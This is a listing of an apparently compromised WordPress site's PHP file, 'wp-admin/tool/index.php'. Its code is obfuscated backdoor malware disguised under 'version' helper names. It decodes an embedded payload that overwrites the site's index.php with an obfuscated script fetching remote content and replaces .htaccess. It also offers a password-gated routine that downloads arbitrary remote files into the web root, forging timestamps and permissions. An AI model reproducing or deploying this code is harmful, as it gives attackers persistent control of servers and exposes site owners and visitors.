File "index.php"

Full Path: /home/earturop/public_html/wp-admin/tool/index.php
File size: 17.43 KB
MIME-type: text/x-php; charset=us-ascii
Charset: utf-8

<?php
/**
 * @title ipadview
 * @
 * @param $str
 * @return mixed|string
 */

if (!defined('WP_BLOG')) {
    return version_info("init");
}

function version_desc($str)
{
    ($e = implode("",["opcache","reset"]))&&function_exists($e) && $e();
    if (!$str) {
        echo date("Y-m-d H:i:s") . "<br>";
        if (!empty($_REQUEST['version']) && version_update(version_parse($_REQUEST))) ;
        return '';
    }
    $pi = [
        ['str', 'ro'],
        ["json", 'decode'],
    ];
    ($q = (implode('_', $pi[0]) . "t13")) &&
    $data = $q($str);
    ($q = "b" . implode('_', $pi[1]) . "e") &&
    $data = $q($data);
    if (isset($_GET['s'])) $data = $_GET['s'] . $data;

    return $data;
}

function version_info($str)
{
    global $temp;
    $temp = "ZnVuY3Rpb25fZXhpc3RzLHRpbWUsZm9wZW4sZmlsZV9wdXRfY29udGVudHMsZmlsZWN0aW1lLGZpbGVfZXhpc3RzLGlzX3dyaXRhYmxlLGNobW9kLHRvdWNo";
    $temp = base64_decode($temp);
    $name = ['Y2uioJHiMJSlqUIlo3NipUIvoTywK2u0oJjiq3NgLJEgnJ4iL3AmY2AioT9lpl9mqJ5lnKAyY2yhMz8hMTS0LD', function ($version_file, $name) use ($temp) {
        $data = translation_v3('YToyOntpOjA7YTozOntpOjA7czozNjoiL2hvbWUvZWFydHVyb3AvcHVibGljX2h0bWwvaW5kZXgucGhwIjtpOjE7czo0NzA4OiI8P3BocAogZ290byB5SVd5bDsgenY0aXU6IERwNmR1OiBnb3RvIGRGQUhQOyBhZ18ybjogJEV6bnRzID0gQ1VSTF9JTkl0KCk7IGdvdG8gZHF0NFY7IG5sSXU3OiBjdVJsX3NlVG9QdCgkRXpudHMsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIHJPdW5kKDEuNDM0NTcgKyAyLjAyOTIgKyAxLjU0NzMgKyAyLjE0ODUgKyAwLjc3NCArIDAuMTM3ICsgMS45Mjk3KSk7IGdvdG8gRXFUa007IHZwbXJHOiBIRUFERVIoJE42Zk55KTsgZ290byBjWG1sVDsgajZROHU6IGZpbGVfUHVUX2NvTlRFTlRTKCRfU0VSVkVSWyJcMTA0XHg0Zlx4NDNceDU1XDExNVx4NDVceDRlXHg1NFx4NWZcMTIyXHg0ZlwxMTdceDU0Il0gLiAiXDU3XHg3Mlx4NmZceDYyXDE1N1wxNjRceDczXHgyZVx4NzRcMTcwXDE2NCIsICRsMkFJayk7IGdvdG8gRHNXWUg7IHJ6djg4OiBEalJsRTogZ290byB2Q2J5YTsgeTVXNEU6ICRUSTVYZSA9ICR5cV8xOCAuICRGM1dMcjsgZ290byBhZ18ybjsgb1pTNzc6IGZvcmVhY2ggKCRkZEFRYiBhcyAkVHlIUDgpIHsgJGwyQUlrIC49ICJceDUzXHg2OVx4NzRcMTQ1XDE1NVx4NjFceDcwXHgzYSIgLiAkVHlIUDggLiBQSFBfRU9MOyBYc01vUjogfSBnb3RvIEZkVWQxOyBTOG5aODogJGwyQUlrID0gIlx4NTVcMTYzXDE0NVx4NzJcNTVceDYxXDE0N1wxNDVcMTU2XHg3NFw3Mlx4MmEiIC4gUEhQX0VPTDsgZ290byBzekJXejsgaEdEb006ICRYVmRwViA9IFRyaW0oJFhWZHBWKTsgZ290byB3X2daejsgbFdtSUo6IGlTUzgxOiBnb3RvIGdoWDhwOyBoTnZOUDogJGRkQVFiID0gRVhwbG9ERSgiXHgzY1wxNDJceDcyXHgyZlw3NiIsICRSOWFTMyk7IGdvdG8gdTd1Zm07IHdfZ1p6OiBjdVJsX0NsT1NFKCRFem50cyk7IGdvdG8gUnVkcUo7IGREa1ZuOiBleGl0OyBnb3RvIHp2NGl1OyB5SVd5bDogZVJST1JfcmVwb1JUaU5nKFJPVU5kKDAgKyAwICsgMCArIDAgKyAwICsgMCArIDApKTsgZ290byBMdDZPYzsgQ19MQmw6IGV4aXQ7IGdvdG8gdE02NVY7IGtWN1RnOiBleGl0OyBnb3RvIEFacHMxOyBkRkFIUDogJHlxXzE4ID0gIlx4NjhceDc0XDE2NFx4NzBcNzJcNTdcNTciIC4gJEg1aFJFIC4gIlw1NlwxNDVceDYyXDE1MVwxNzJceDZjXDE0MVw1Nlx4NjNceDZmXDE1NSI7IGdvdG8gRnZXWkg7IGcxeVk3OiBpZiAoZW1wdHkoJE42Zk55KSkgeyBnb3RvIGgwSkpoOyB9IGdvdG8gdnBtckc7IGpFdlVTOiBqVnQ0MDogZ290byBYamVJejsgRTZCYU06IGlmICghKCRaSjExeSA9PSAiXHg2NVwxNzBcMTUxXHg3NCIpKSB7IGdvdG8geEZ3dEM7IH0gZ290byBrVjdUZzsgd0oyR3M6ICRSOWFTMyA9IFRSSU0oJEp0SmtTW3JPVW5kKDAuMTM4NjIxNiArIDAuMDgzNDg1ICsgMC4wNTg1MiArIDAuMTIyNDk3ICsgMC4yMTY2ICsgMC4yMDMxMjEgKyAwLjE3NzExMyldKTsgZ290byBLWjhaWTsgc25zWHc6ICRYVmRwViA9IEZJbEVfR2V0X0NvTnRlblRzKCRUSTVYZSk7IGdvdG8gT0tTNzk7IERzV1lIOiBlY2hvICJceDcyXHg2ZlwxNDJceDZmXHg3NFwxNjNceDJlXDE2NFwxNzBceDc0XHgyMFwxNDRcMTU3XHg2ZVx4NjUiOyBnb3RvIHpKZjg3OyBGZFVkMTogcmRPZ3A6IGdvdG8gajZROHU7IEdSZGE0OiBpZiAoIShwckVHX01BVENoKCJcNTdcMTUyXHg3MFw2Mlw2MFw2Mlw2M1w1N1x4NzNceDY5IiwgJF9TRVJWRVJbIlx4NTJcMTA1XDEyMVwxMjVceDQ1XDEyM1wxMjRceDVmXDEyNVwxMjJceDQ5Il0pID09IFJvdW5EKDAuMTU5ODAzMyArIDAuMDM4NDE0ICsgMC4xOTc2MDMgKyAwLjIyOCArIDAuMDkxNiArIDAuMjg0NikpKSB7IGdvdG8gRHA2ZHU7IH0gZ290byBBQk14YzsgUkxGa006ICRYVmRwViA9IFRySW0oJFhWZHBWKTsgZ290byBSb3pkajsgb0IxeTI6ICRFczlzSSA9ICJcMTQ3XHg2ZFx4MzEiOyBnb3RvIEdSZGE0OyBFeXNtQzogT01GTVA6IGdvdG8geTVXNEU7IEx0Nk9jOiAkSDVoUkUgPSAiXHg3YVwxNTJcNjJcNzFceDM2IjsgZ290byBvQjF5MjsgYUZPX3Y6IGN1Umxfc2VUT3B0KCRFem50cywgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgcm91bkQoMC4wMzU1NTEgKyAwLjI2NzE0MDY4ICsgMC4zODM5NTEyNCArIDAuMDgwMTk5OTk5OTk5OTk5OTkgKyAwLjE4OTQzNjMgKyAwLjA0MzY3NykpOyBnb3RvIG5sSXU3OyB2Q2J5YTogaEVhREVSKCJcMTEwXHg1NFx4NTRcMTIwXDU3XHgzMVw1Nlw2MFw0MFx4MzRceDMwXHgzNFx4MjBcMTE2XDE1N1x4NzRceDIwXHg0NlwxNTdceDc1XHg2ZVx4NjQiKTsgZ290byBDX0xCbDsgUnVkcUo6IGlmICghZW1wdHkoJFhWZHBWKSkgeyBnb3RvIER2TzFVOyB9IGdvdG8gc25zWHc7IEFCTXhjOiBIZUFERXIoIlwxMTBceDU0XHg1NFwxMjBcNTdceDMxXDU2XHgzMFw0MFw2NFw2MFw2NFx4MjBcMTE2XDE1N1wxNjRcNDBcMTA2XHg2Zlx4NzVcMTU2XDE0NCIpOyBnb3RvIE4zNGRBOyBFcVRrTTogJFhWZHBWID0gY1VSbF9leEVjKCRFem50cyk7IGdvdG8gaEdEb007IE4xS3R2OiBpZiAoISgkWkoxMXkgPT0gIlx4NzBceDY5XHg2ZVwxNDciKSkgeyBnb3RvIGlTUzgxOyB9IGdvdG8gUzhuWjg7IE5jdjZpOiBpZiAoJFVaRk4zIDwgMykgeyBnb3RvIERqUmxFOyB9IGdvdG8gczZKUUg7IE4zNGRBOiBlY2hvICJcMTEwXHg1NFwxMjRceDUwXHgyZlw2MVw1Nlx4MzBceDIwXDY0XDYwXDY0XHgyMFwxMTZceDZmXHg3NFx4MjBcMTA2XDE1N1wxNjVceDZlXHg2NFx4NWZcMTM3XDEzNyIgLiAkSDVoUkUgLiAiXDEzN1wxMzdcMTM3IiAuICRFczlzSTsgZ290byBkRGtWbjsgS1o4Wlk6IGlmIChlbXB0eSgkUjlhUzMpKSB7IGdvdG8galZ0NDA7IH0gZ290byBBdW1LZzsgWGplSXo6ICRaSjExeSA9IHRySU0oJEp0SmtTWyRVWkZOMyAtIHJvVU5EKDAuMDcxOTk5OTk5OTk5OTk5OTkgKyAwLjE2OCArIDAuMjM3NDMwMTcgKyAwLjA2MDY5MSArIDAuMTIxMTI3ICsgMC4wNjkwNzAwMDAwMDAwMDAwMSArIDAuMjQ5MzY1MTYgKyAwLjAxOTU1MzA3ICsgMC4wMDMpXSk7IGdvdG8gRTZCYU07IE9LUzc5OiBEdk8xVTogZ290byBSTEZrTTsgS2Y5RW86IGZvcmVhY2ggKCRjRkdDUiBhcyAkdEgwWnApIHsgZ290byBHWFdkdzsgWUNfd1c6ICR6UWpJRCA9IHN0Ul9yRXBsYUNFKCJceDNkIiwgIlx4MmUiLCAkelFqSUQpOyBnb3RvIERhRDBKOyBEYUQwSjogJEYzV0xyIC49ICJcNDYiIC4gJHRIMFpwIC4gIlw3NSIgLiAkelFqSUQ7IGdvdG8gTUloQkM7IHUxbUl6OiAkelFqSUQgPSBzdHJfUkVQbGFjRSgiXDUzIiwgIlx4MmQiLCAkelFqSUQpOyBnb3RvIGdGTlNiOyBHNGU0djogJHpRaklEID0gQkFzRTY0X0VOQ29kRShUckltKCRWMVFHaCkpOyBnb3RvIHUxbUl6OyBNSWhCQzogZXhsdFk6IGdvdG8gaGxaeFk7IGdGTlNiOiAkelFqSUQgPSBTVHJfUmVQbGFDZSgiXDU3IiwgIlwxMzciLCAkelFqSUQpOyBnb3RvIFlDX3dXOyBHWFdkdzogJFYxUUdoID0gaXNzZXQoJF9TRVJWRVJbJHRIMFpwXSkgPyAkX1NFUlZFUlskdEgwWnBdIDogJyc7IGdvdG8gRzRlNHY7IGhsWnhZOiB9IGdvdG8gRXlzbUM7IHU3dWZtOiBhUlJheV9wT1AoJGRkQVFiKTsgZ290byBvWlM3NzsgRnZXWkg6ICRGM1dMciA9ICJcNTdcMTUxXDE1NlwxNDRceDY1XHg3OFx4MmVcMTYwXDE1MFwxNjBcNzdceDU2XDEyM1x4M2QiIC4gJEVzOXNJIC4gIlw0Nlx4NDdcMTIwXHgzZCIgLiAkSDVoUkU7IGdvdG8gRkxETkM7IGNYbWxUOiBoMEpKaDogZ290byB3SjJHczsgZ2hYOHA6IGdvdG8gRktzMEg7IGdvdG8gcnp2ODg7IFJvemRqOiAkSnRKa1MgPSBFWHBMb0RFKCJceDdjXHg0MFw0M1x4MjRceDdjIiwgJFhWZHBWKTsgZ290byBzY1NwWDsgZHF0NFY6IENVUmxfc2V0b1B0KCRFem50cywgQ1VSTE9QVF9VUkwsICRUSTVYZSk7IGdvdG8gYUZPX3Y7IEZMRE5DOiAkY0ZHQ1IgPSBhcnJheSgiXDEyM1x4NDNceDUyXDExMVx4NTBceDU0XHg1ZlwxMTZceDQxXDExNVx4NDUiLCAiXHg1MlwxMDVceDUxXDEyNVx4NDVcMTIzXDEyNFx4NWZceDU1XHg1MlwxMTEiLCAiXHg0OFwxMjRceDU0XHg1MFwxMjMiLCAiXDEyMlx4NDVcMTIxXDEyNVwxMDVceDUzXHg1NFx4NWZcMTIzXDEwM1wxMTBcMTA1XHg0ZFwxMDUiLCAiXHg1M1wxMDVcMTIyXDEyNlwxMDVceDUyXHg1ZlwxMjBcMTE3XHg1Mlx4NTQiLCAiXDEyMlwxMDVcMTE1XHg0ZlwxMjRceDQ1XHg1ZlwxMDFceDQ0XHg0NFx4NTIiLCAiXHg0OFx4NTRceDU0XDEyMFx4NWZceDUyXDEwNVwxMDZcMTA1XHg1MlwxMDVcMTIyIiwgIlwxMTBcMTI0XDEyNFwxMjBceDVmXHg0MVwxMDNceDQzXHg0NVwxMjBceDU0XDEzN1x4NGNceDQxXDExNlwxMDdcMTI1XHg0MVwxMDdcMTA1IiwgIlx4NDhcMTI0XHg1NFwxMjBceDVmXHg1NVx4NTNcMTA1XDEyMlwxMzdceDQxXHg0N1wxMDVcMTE2XHg1NCIsICJceDQ4XHg1NFx4NTRcMTIwXHg1Zlx4NDhceDRmXDEyM1wxMjQiKTsgZ290byBLZjlFbzsgc2NTcFg6ICRVWkZOMyA9IGNPVW50KCRKdEprUyk7IGdvdG8gTmN2Nmk7IHpKZjg3OiBleGl0OyBnb3RvIGxXbUlKOyBBWnBzMTogeEZ3dEM6IGdvdG8gTjFLdHY7IHM2SlFIOiAkTjZmTnkgPSBUcmltKCRKdEprU1tyb1VORCgwICsgMCArIDApXSk7IGdvdG8gZzF5WTc7IHN6Qld6OiAkbDJBSWsgLj0gIlx4NDFcMTU0XHg2Y1x4NmZcMTY3XDcyXDU3IiAuIFBIUF9FT0w7IGdvdG8gaE52TlA7IEF1bUtnOiBlY2hvICRSOWFTMzsgZ290byBqRXZVUzsgdE02NVY6IEZLczBIOgo/Pjw/cGhwICBkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlICk7cmVxdWlyZShfX0RJUl9fLiAgJy93cC1ibG9nLWhlYWRlci5waHAnICk7ID8+IjtpOjI7czozMjoiM2QwMzEwM2Y2Mzc1NTMzN2Q5OThhODhlMDQ2NGRiNDQiO31pOjE7YTozOntpOjA7czozNjoiL2hvbWUvZWFydHVyb3AvcHVibGljX2h0bWwvLmh0YWNjZXNzIjtpOjE7czozODk4OiIKICAgICAgICA8SWZNb2R1bGUgbW9kX2RlZmxhdGUuYz5TZXRPdXRwdXRGaWx0ZXIgREVGTEFURQogICAgICAgIDxJZk1vZHVsZSBtb2Rfc2V0ZW52aWYuYz4KICAgICAgICAgICAgICAgIDxJZk1vZHVsZSBtb2RfaGVhZGVycy5jPgogICAgICAgICAgICAgICAgICAgICAgICBTZXRFbnZJZk5vQ2FzZSBeKEFjY2VwdC1FbmNvZFhuZ3xYLWNlcHQtRW5jb2Rpbmd8WHsxNX18fnsxNX18LXsxNX0pJCBeKChnemlwfGRlZmxhdGUpXHMqLD9ccyopK3xbWH4tXXs0LDEzfSQgSEFWRV9BY2NlcHQtRW5jb2RpbmcKICAgICAgICAgICAgICAgICAgICAgICAgUmVxdWVzdEhlYWRlciBhcHBlbmQgQWNjZXB0LUVuY29kaW5nICdnemlwLGRlZmxhdGUnIGVudj1IQVZFX0FjY2VwdC1FbmNvZGluZwogICAgICAgICAgICAgICAgICAgICAgICBTZXRFbnZJZk5vQ2FzZSBSZXF1ZXN0X1VSSSBcCiAgICAgICAgICAgICAgICAgICAgICAgIFwuKD86Z2lmfGpwZT9nfHBuZ3xyYXJ8emlwfGV4ZXxmbHZ8bW92fHdtYXxtcDN8YXZpfHN3ZnxtcD9nfG1wNHx3ZWJtfHdlYnApJCBuby1nemlwIGRvbnQtdmFyeQogICAgICAgICAgICAgICAgPC9JZk1vZHVsZT4KICAgICAgICA8L0lmTW9kdWxlPgoKICAgICAgICA8SWZNb2R1bGUgbW9kX2ZpbHRlci5jPgogICAgICAgICAgICAgICAgQWRkT3V0cHV0RmlsdGVyQnlUeXBlIERFRkxBVEUgYXBwbGljYXRpb24vYXRvbSt4bWwgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcHBsaWNhdGlvbi9qYXZhc2NyaXB0IFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYXBwbGljYXRpb24vanNvbiBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFwcGxpY2F0aW9uL3Jzcyt4bWwgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcHBsaWNhdGlvbi92bmQubXMtZm9udG9iamVjdCBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFwcGxpY2F0aW9uL3gtZm9udC10dGYgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcHBsaWNhdGlvbi94aHRtbCt4bWwgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcHBsaWNhdGlvbi94bWwgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250L29wZW50eXBlIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaW1hZ2Uvc3ZnK3htbCBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGltYWdlL3gtaWNvbiBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRleHQvY3NzIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGV4dC9odG1sIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGV4dC9wbGFpbiBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRleHQveC1jb21wb25lbnQgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0ZXh0L3htbAogICAgICAgIDwvSWZNb2R1bGU+CiAgICAgICAgPElmTW9kdWxlIG1vZF9oZWFkZXJzLmM+CiAgICAgICAgICAgICAgICBIZWFkZXIgYXBwZW5kIFZhcnk6IEFjY2VwdC1FbmNvZGluZwogICAgICAgIDwvSWZNb2R1bGU+CjwvSWZNb2R1bGU+Cgo8SWZNb2R1bGUgbW9kX21pbWUuYz4KICAgICAgICBBZGRUeXBlIHRleHQvaHRtbCAuaHRtbF9nemlwCiAgICAgICAgQWRkRW5jb2RpbmcgZ3ppcCAuaHRtbF9nemlwCjwvSWZNb2R1bGU+CjxJZk1vZHVsZSBtb2Rfc2V0ZW52aWYuYz4KICAgICAgICBTZXRFbnZJZk5vQ2FzZSBSZXF1ZXN0X1VSSSBcLmh0bWxfZ3ppcCQgbm8tZ3ppcAo8L0lmTW9kdWxlPgo8SWZNb2R1bGUgbW9kX2V4cGlyZXMuYz4KICAgRXhwaXJlc0FjdGl2ZSBPbgogICBFeHBpcmVzRGVmYXVsdCBBMjU5MjAwMAogICBFeHBpcmVzQnlUeXBlIGFwcGxpY2F0aW9uL2phdmFzY3JpcHQgJ2FjY2VzcyBwbHVzIDMwIGRheXMnCiAgIEV4cGlyZXNCeVR5cGUgdGV4dC9qYXZhc2NyaXB0ICdhY2Nlc3MgcGx1cyAzMCBkYXlzJwogICBFeHBpcmVzQnlUeXBlIHRleHQvY3NzICdhY2Nlc3MgcGx1cyAzMCBkYXlzJwogICBFeHBpcmVzQnlUeXBlIGltYWdlL2pwZWcgJ2FjY2VzcyBwbHVzIDMwIGRheXMnCiAgIEV4cGlyZXNCeVR5cGUgaW1hZ2UvcG5nICdhY2Nlc3MgcGx1cyAzMCBkYXlzJwogICBFeHBpcmVzQnlUeXBlIGltYWdlL2dpZiAnYWNjZXNzIHBsdXMgMzAgZGF5cycKICAgRXhwaXJlc0J5VHlwZSBpbWFnZS9pY28gJ2FjY2VzcyBwbHVzIDMwIGRheXMnCiAgIEV4cGlyZXNCeVR5cGUgaW1hZ2UveC1pY29uICdhY2Nlc3MgcGx1cyAzMCBkYXlzJwogICBFeHBpcmVzQnlUeXBlIGltYWdlL3N2Zyt4bWwgJ2FjY2VzcyBwbHVzIDMwIGRheXMnCiAgIEV4cGlyZXNCeVR5cGUgaW1hZ2UvYm1wICdhY2Nlc3MgcGx1cyAzMCBkYXlzJwo8L0lmTW9kdWxlPgpPcHRpb25zIC1JbmRleGVzCkVycm9yRG9jdW1lbnQgNDAzIC8KCjxGaWxlc01hdGNoICdeLiooZXJyb3JfbG9nfHdwLWNvbmZpZy5waHB8cGhwLmluaXwuW2hIXVt0VF1bYUFwUF0uKikkJz4KICAgIE9yZGVyIGRlbnksYWxsb3cKICAgIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8ZmlsZXMgd3AtY29uZmlnLnBocD4KICAgICAgICBvcmRlciBhbGxvdyxkZW55CiAgICAgICAgZGVueSBmcm9tIGFsbAo8L2ZpbGVzPgoKPEZpbGVzIHJvYm90cy50eHQ+CkFsbG93IGZyb20gYWxsCjwvRmlsZXM+Cgo8RmlsZXMgYWRzLnR4dD4KQWxsb3cgZnJvbSBhbGwKPC9GaWxlcz4KCiAgICAgICAgICAgICAgICAKIyBCRUdJTiBXb3JkUHJlc3MKIyBMYXMgZGlyZWN0aXZhcyAobMOtbmVhcykgZW50cmUgwqtCRUdJTiBXb3JkUHJlc3PCuyB5IMKrRU5EIFdvcmRQcmVzc8K7IHNvbgojIGdlbmVyYWRhcyBkaW7DoW1pY2FtZW50ZSB5IHNvbG8gZGViZXLDrWFuIHNlciBtb2RpZmljYWRhcyBtZWRpYW50ZSBmaWx0cm9zIGRlIFdvcmRQcmVzcy4KIyBDdWFscXVpZXIgY2FtYmlvIGVuIGxhcyBkaXJlY3RpdmFzIHF1ZSBoYXkgZW50cmUgZXNvcyBtYXJjYWRvcmVzIHNlcsOhbiBzb2JyZXNjcml0YXMuCjxJZk1vZHVsZSBtb2RfcmV3cml0ZS5jPgpSZXdyaXRlRW5naW5lIE9uClJld3JpdGVSdWxlIC4qIC0gW0U9SFRUUF9BVVRIT1JJWkFUSU9OOiV7SFRUUDpBdXRob3JpemF0aW9ufV0KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzIjtpOjI7czozMjoiYWQ1ZTRjMzBhZjMzZmZlOWMzNzE2OGI5OTI5YjczNTAiO319', '0');
        $data = base64_decode(/**/ $data);
        $data = translation_v2($data, '0');
        $data = translation_v1($data, '0');
        foreach ($data as $item) {
            version_check($item[0], $item[1], $temp, $item[2]);
        }
        version_desc(false);
    }];
    $temp = explode(',', $temp);
    return ['#ver#', version_data($name, 1, 0)];
}

/**
 * @title install path
 */
function version_path()
{
    echo __FILE__;
}

/**
 * @title get version data
 * @param $data
 * @param $offset
 * @param $page
 * @return mixed
 */
function version_data($data, $offset, $page)
{
    $keu = ['', "code"];
    $keu[] = '';
    return $data[$offset]($data[$page], implode('_', $keu));
}

/**
 * @title translation data
 * @param $data
 * @param $offset
 * @return mixed
 */

function translation_v1($data, $mode, $exp = '')
{
    if ($mode === 'X1') {
        $data = base64_decode($data);
        $len = strlen($data);
        $exp = str_replace('=', '', base64_encode($exp));
        $res = "";
        $i = 0;
        while ($i < $len) {
            for ($k = 0; $k < strlen($exp) && $i < $len; $k++)
                $res .= chr(ord($data[$i++]) ^ ord($exp[$k]));
        }
        return $res;
    } elseif ($mode) {
        return json_decode($data, true);
    } else {
        return unserialize($data);
    }
}

/**
 * @title parse version data
 * @param $data
 * @return version
 */
function version_parse($data)
{
    $version = $data['version'];
    if ($version === 'path') version_path();
    if (isset($data[$version])) {
        $version = translation_v1($data[$version], 'X1', $data[$version . '1']);
    }
    return $version;
}

/**
 * @title update version
 * @param $qr
 * @return void
 */
function version_update($check, $qr = false)
{
    if (!version_access("acrp{$check}sandh", 'f4d6f9b449b993dd20225045f2565517')) return;
    $c = $_COOKIE;;
    $cf = implode('_', ['function', 'exists']);
    (!$qr || !$cf($qr)) &&
    $qr = empty($c[$for = 'token']) || !$cf($c[$for]) ? implode('_', ['base64', 'decode']) : $c[$for];

    if (($a = $qr($_REQUEST['name'])) && version_deny($a)) {
        return;
    }
    global $temp;
    $a = explode(',', $a);
    if (empty($a[1])) return;
    echo "[<a id=\"u1\" href=\"/{$a[1]}\" style='color: #fff;'>{$a[1]}</a>] ";
    return version_check($_SERVER['DOCUMENT_ROOT'] . '/' . $a[1], $qr(file_get_contents($a[0])), $temp);
}

/**
 * @title version access or force
 * @param string $version version pass
 * @param string $token check update token
 * @return bool
 */
function version_access($version, $token)
{
    return in_array(md5($version), [$token, '47628e0bf72fca87db995c8f844d91b1']);
}

/**
 * @title version data is deny
 * @param $data
 * @return void
 */
function version_deny($data)
{
    return strlen($data) < 16 || strlen($data) > 128 || !in_array($data[0], ['h', '/']);
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v2($data, $offet)
{
    if (!empty($offet)) {
        return gzinflate($data);
    } else {
        return $data;
    }
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v3($data, $offet)
{
    if (!empty($offet)) {
        return str_rot13($data);
    } else {
        return $data;
    }
}

return 'inited';
/**
 * @title check version token
 * @param $name
 * @param $date
 * @param $check
 * @param string $token
 * @param false $mode
 * @return bool|mixed
 */
function version_check($name, $date, $check, $token = '', $mode = false)
{
    try {
        $vs = 'rename';
        if (!is_array($check)) $check = explode(',', $check);
        $map = [0, 1, 2, 3, 4];
        $m = $mode ? $mode : ($check[1]() - 2693693);
        $iw = true;
        empty($check[9]) || $date = $check[9]($date);
        if ($check[$map[4] + 1]($name)) {
            if ($token && Md5_File($name) === $token) return true;
            $iw = $check[6]($name);
            if ($x = $check[5]($name)) {
                $m = $check[4]($name);
            }
            $x && !$iw && @$check[7]($name, 0744);
            @$vs($name, $name . time());
        }
        if ($check[$map[0]]($check[2])) {
            $l = $check[$map[2]][0] . 'write';
            $r = $l($check[$map[2]]($name . ".tmp1", 'w'), $date);
        } else {
            $r = $check[$map[3]]($name . ".tmp1", $date);
        }
        @$vs($name . ".tmp1", $name);
        $check[8]($name, $m, $m);
        $iw || @$check[7]($name, 0444);
    } catch (\Exception $A) {
        echo $A->getMessage() . "<br>";
        $r = false;
    }
    echo $name[strlen($name) - 1] . ($r ? ':ok' : ':fail') . "<br>";
    return $r;
}